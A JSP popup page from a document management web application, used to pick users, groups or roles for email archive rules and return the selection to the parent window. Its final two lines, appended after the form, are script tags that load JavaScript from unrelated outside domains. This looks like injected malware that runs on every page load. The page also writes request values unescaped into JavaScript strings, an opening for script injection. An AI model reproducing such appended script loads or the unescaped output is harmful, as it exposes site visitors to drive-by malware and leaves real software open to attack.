<%
/*
 * @(#)DmsPopComplex.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  DmsPopComplex.jsp

  This class is used to retrieve the document content from http

  @author          jerry zhou
  @company         DCIVision Limited
  @creation date   16/08/2005
  @version         $Revision: 1.6.26.6 $
*/
%>
<% request.setCharacterEncoding("UTF-8");  %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.rules.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsPopComplexForm" scope="request" class="com.dcivision.dms.web.MaintDmsPopComplexForm"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>


<html:form type="maintDmsPopComplexForm" enctype="multipart/form-data" action="dms/MaintDmsPopComplex">
<html:javascript formName="maintDmsPopComplexForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
 try{ 
  String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  String index = (String)request.getAttribute("index");
  String passValue = (String)request.getAttribute("passValue");
  String passHiddenValue = (String)request.getAttribute("passValue");
  String ID = (String)request.getAttribute("ID");
  passHiddenValue = TextUtility.replaceString(passHiddenValue,RuleOperationConstant.SPLIT_BIAS,RuleOperationConstant.SPLIT_COMMA);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
   
%>

<script language="JavaScript">
<!--

  function CustOpGetDate() {
    var parent = window.opener;  

    var showValue = "";
    var hiddenValue = "";
    var index = <%=index%>;
    var passValue = "<%=passValue%>";
    var passHiddenValue = "<%=passHiddenValue%>";
    var ID = "<%=ID%>";
    

    var frm;
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
    
    if(allPermissionAry.length <= 0){
      alert("<bean:message key="email_archive.rule.select.cannot.be.empty"/>");
      return false;
    }

    for (var i=0; i<allPermissionAry.length; i++) {
      if(i!=0){
        showValue +="<%=RuleOperationConstant.SPLIT_BIAS%>";
        hiddenValue +="<%=RuleOperationConstant.SPLIT_COMMA%>";
      }
      if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_USER%>") {
        showValue += allPermissionAry[i][1];
        hiddenValue = hiddenValue+"<%=GlobalConstant.SUBJECT_TYPE_USER%>"+"<%=RuleOperationConstant.SPLIT_COLON%>"+allPermissionAry[i][0];
      } else if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_GROUP%>") {
        showValue += allPermissionAry[i][1];
        hiddenValue = hiddenValue+"<%=GlobalConstant.SUBJECT_TYPE_GROUP%>"+"<%=RuleOperationConstant.SPLIT_COLON%>"+allPermissionAry[i][0];
      } else if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_ROLE%>") {
        showValue += allPermissionAry[i][1];
        hiddenValue = hiddenValue+"<%=GlobalConstant.SUBJECT_TYPE_ROLE%>"+"<%=RuleOperationConstant.SPLIT_COLON%>"+allPermissionAry[i][0];
      }
    }

    if (passValue !=null&&passValue.length>0){
      hiddenValue = hiddenValue + "<%=RuleOperationConstant.SPLIT_COMMA%>" + passHiddenValue;
    }
    // end get
    
    parent.reSetPage(showValue,hiddenValue,index,passValue, ID);
    
    parent.focus();
    window.close();
  }




-->
</script>


<html>
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">


<!-- Common Stylesheet Begin -->
<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link media="print" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/PrintStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->

<!-- Framework Javascript Begin -->
<script language="Javascript">
  <jsp:include page="/js/Variable.jsp"/>
</script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<!-- Framework Javascript End -->

<!-- Static Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLibHiddenForm.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.js" charset="UTF-8" type="text/javascript"></script>
<!-- Static Javascript End -->

<!-- Dynamic Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/jsp/customize/CustomizedJS.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp" charset="UTF-8" type="text/javascript"></script>
<!-- Dynamic Javascript End -->


<html:hidden property="opMode"/>
<html:hidden property="ID"/>
<title>Select users or groups or roles</title>

</head>

<body >
<div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<center>
<table>
<!-- Section Header -->
  <%String sectionLabel = "email_archive.rule.select.Information";%>
  <layout:sectionHeader name='<%=sectionLabel%>'/>

<tr>
  <td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='8'/></td>
</tr>

<tr>
  <td class="formFieldSmall">
    <wfm:permissionShow enableOthers="true" permissionType=""/>
  </td>
</tr>

<tr>
  <td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='8'/></td>
</tr>

<tr>
  <td> 
    <center>
      <html:standardButton label="common.label.submit" onClick="return CustOpGetDate();"/> 
      <html:standardButton label="common.label.close" onClick="return self.close();"/>
    </center>
  </td>
</tr>
</table>
</center>
</body>
</html>
<%} catch(Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  } 
%>
</html:form>

<script language="JavaScript">
<!--
initVariable(document.maintDmsPopComplexForm);
-->
</script>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>